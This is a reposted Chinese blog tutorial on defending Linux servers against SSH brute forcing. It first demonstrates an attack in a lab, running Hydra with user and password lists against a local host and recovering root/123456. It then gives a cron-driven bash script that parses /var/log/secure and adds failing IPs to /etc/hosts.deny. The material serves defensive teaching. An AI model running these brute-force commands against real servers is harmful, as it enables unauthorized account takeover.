Linux 利用hosts.deny 防止暴力破解ssh(转)

一、ssh暴力破解

  利用专业的破解程序,配合密码字典、登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果。

二、暴力破解演示

2.1.基础环境:2台linux主机(centos 7系统)、Development Tools.

  主机ip:192.168.30.64 (服务器端)、192.168.30.64(客户端+ 暴力破解【Hydra】)

  在30.63上进行暴力破解30.64

2.2 客户端上安装 破解程序 hydra。关于该程序的详情请去官网.

安装该软件的依赖环境:

[root@ceph-osd1 ~]# yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel -y

下载hydra 软件(如果在linux 中无法直接wget下载的话,可以在浏览器(windows)中直接输入该链接去下载该软件)

[root@ceph-osd1 ~]# wget https://www.thc.org/download.php?t=r&f=hydra-8.1.tar.gz

解压、编译、安装(注意: 编译安装时需要注意看下有没有error类的错误,不然可能会导致hydra程序无法使用)

[root@ceph-osd1 ~]# tar zxvf hydra-8.1.tar.gz
[root@ceph-osd1 ~]# cd hydra-8.1
[root@ceph-osd1 hydra-8.1]# ./configure
[root@ceph-osd1 hydra-8.1]# make && make install

正常安装的话,就可以使用了。

2.3 hydra 常用命令详解

复制代码
[root@ceph-osd1 ~]# hydra
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] 
[-s PORT] [-x MIN:MAX:CHARSET] [-SuvVd46] [service://server[:PORT][/OPT]] Options: -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
 # -l 登陆用户名 或者 -L 登陆用户名列表文件
-p PASS or -P FILE try password PASS, or load several passwords from FILE
 # -p 登陆密码 或者 -P 密码字典文件
-C FILE colon separated "login:pass" format, instead of -L/-P options
# 使用用户名:密码 组合的破解文件。
-M FILE list of servers to attack, one entry per line, ':' to specify port
# 指定目标列表文件一行一条记录
-t TASKS run TASKS number of connects in parallel (per host, default: 16)
# 同时运行的线程数目,默认是16个
-U service module usage details
# 服务模块使用详情
-h more command line options (COMPLETE HELP)
# 更多命令选项
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
#支持扫描 域名、ip、以及网段
service the service to crack (see below for supported protocols)
# 破解扫描的协议
OPT some service modules support additional input (-U for module help)
# 更多扩展选项参看 -U 选项 Supported services: asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq
imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql(v4) nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis
rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra Don't use in military or secret service organizations, or for illegal purposes. Example: hydra -l user -P passlist.txt ftp://192.168.0.1
#示例: 用user 用户,加上 passlist.txt密码字典,尝试破解 192.168.0.1 ftp服务器
复制代码

2.4 测试破解 (在192.168.30.63上操作)

创建一个目录,用来存放用户文件以及密码字典,并创建用users.txt、passwd.txt 文件

复制代码
[root@ceph-osd1 ssh-test]# pwd
/root/ssh-test
[root@ceph-osd1 ssh-test]# cat users.txt 
root
mysql
ftp
apache
rsync
tt
admin
[root@ceph-osd1 ssh-test]# cat passwd.txt 
123456
123
admin
123456789
helloworld
复制代码

运行一下命令进行破解,可以看到倒数第二行,提示已经找到1个有效的密码。倒数第三行,便是有效的用户名和密码(如果在命令里加上-vV 选项的话,会输出更详细的破解运行的信息)

复制代码
[root@ceph-osd1 ssh-test]# hydra -L users.txt -P passwd.txt ssh://192.168.30.64
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-05-03 19:04:33
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 35 login tries (l:7/p:5), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.30.64   login: root   password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-05-03 19:04:39
复制代码

运行-o 选项可以将得到的有效用户名和密码保存到文件中,如下:

[root@ceph-osd1 ssh-test]# hydra -L users.txt -P passwd.txt -vV ssh://192.168.30.64 -o valid-info.txt
[root@ceph-osd1 ssh-test]# cat valid-info.txt 
# Hydra v8.1 run at 2016-05-03 19:08:14 on 192.168.30.64 ssh (hydra -L users.txt -P passwd.txt -vV -o valid-info.txt ssh://192.168.30.64)
[22][ssh] host: 192.168.30.64   login: root   password: 123456

以上就是暴力破解的过程,另外hydra 程序支持更多的协议,如ftp、web用户名登陆、cisco、pop3、rdp、telnet...... 等等等等。有兴趣的可以谷歌搜索下用法。不要用来做坏事啊,防患于未然。

三、如何防止自己的服务器被ssh暴力破解呢?

3.1 这里利用到了linux 系统的日志,不知道大家发现没,每次我们登陆服务器时,如果有登陆认证失败的情况,会在服务器的/var/log/secure文件中记录日志。错误日志如下:

[root@test deny]# tail -3f /var/log/secure
May  3 19:14:49 test sshd[23060]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.30.63  user=root
May  3 19:14:49 test sshd[23060]: pam_succeed_if(sshd:auth): requirement "uid >= 1000" not met by user "root"
May  3 19:14:51 test sshd[23060]: Failed password for root from 192.168.30.63 port 50704 ssh2

通过上面的日志我们可以看出,是30.63这台主机ssh登陆失败了,那假如它登陆失败次数过多后,我们能否禁止它登陆呢?

3.2 这里用到了linux 的hosts.deny(利用tcp_wrappers)文件。参考文章:我本善良

hosts.deny介绍:一般來說linux的密碼我們會用shadow來保護。電子郵件大概有人也會說使用PGP,但是一般的網路連線呢?可能會有人舉手回答說防火牆,那防火牆跟tcp_wrappers有什麼關係呢?筆者個人認為,如果說Firewall是第一道防線的話,第二道防線大概就是tcp_wrappers了,我們可以利用不同的防護程式來增加防護的能力之外,並且還能增加被駭客破台的困難度。設計一個完善的防火牆規則本來就不是一件很容易的事情,但是我們能透過簡單的程式化困難為容易,讓新手更能快樂的接觸美麗的Linux新世界。

3.3 利用脚本配合任务计划去定时检测 /var/log/secure 文件,当发现有大量失败日志后,就将该ip追加到hosts.deny中,以达到防止暴力破解的目的。(在192.168.30.64 服务器上操作)

脚本内容:

[root@test deny]# pwd
/root/deny
[root@test deny]# vim autoDeny.sh
#!/bin/bash

LIST=""

#过滤出协议,尝试连接主机的ip
LIST=$(cat /var/log/secure | grep "authentication failure" | awk '{print$14}' | sed -e 's/rhost=//g' -e 's/ /_/g' | uniq)

#Trusted Hosts
excludeList=( "192.168.30.55" )

function chkExcludeList()
{
for j in "${excludeList[@]}"; do
    if [[ "$1" == $j ]]; then
        return 10
    fi
done
return 11
}

#检查并追加到hosts.deny文件中
for i in $LIST; do
    chkExcludeList "$i"
        if [ $? != "10" ]; then
            if [ "$(grep $i /etc/hosts.deny)" = "" ]; then
                echo "ALL: $i : DENY" >> /etc/hosts.deny
            fi
        fi
done
View Code

任务计划:(每分钟运行下该程序)

[root@test deny]# crontab -l
*/1 * * * * /usr/bin/sh /root/deny/autoDeny.sh

重启crond服务

[root@test deny]# systemctl restart crond

我们先查看下/etc/hosts.deny文件,默认里面的内容应该是空的,如下

[root@test deny]# tail -2f /etc/hosts.deny
#        See 'man tcpd' for information on tcp_wrappers
#

3.4 在客户端上进行破解。(192.168.30.63上操作)

第一次运行破解命令

第二次在继续操作时出现连接端口失败的提示(已经被服务器加入deny拒绝了。)

可以去服务器上去检查下hosts.deny文件内容。看下有没有把客户端的ip 追加到里面

说明该脚本运行正常,可以拒绝那些想暴力破解我们服务器的ip。

四、注意事项

1.上述的实验中,可能会存在很快的被扫描到账号和密码,没有起到防止暴力的作用,那是因为我的密码文件已经在里面了,而且用户名及密码就几个。但是在真实环境中,黑客不可能那么快就扫描到,除非你的密码弱爆了。。。

2.上述实验中的软件来自于互联网。

本文章属于原创,如有转载请注明出处。

每个人都应是守望者,守望我们的心智,我们的理想,以防它在生活中不知不觉地坠落、被操控和被自己遗忘。。。

http://www.cnblogs.com/hanyifeng/p/5456317.html

原文地址:https://www.cnblogs.com/softidea/p/5456976.html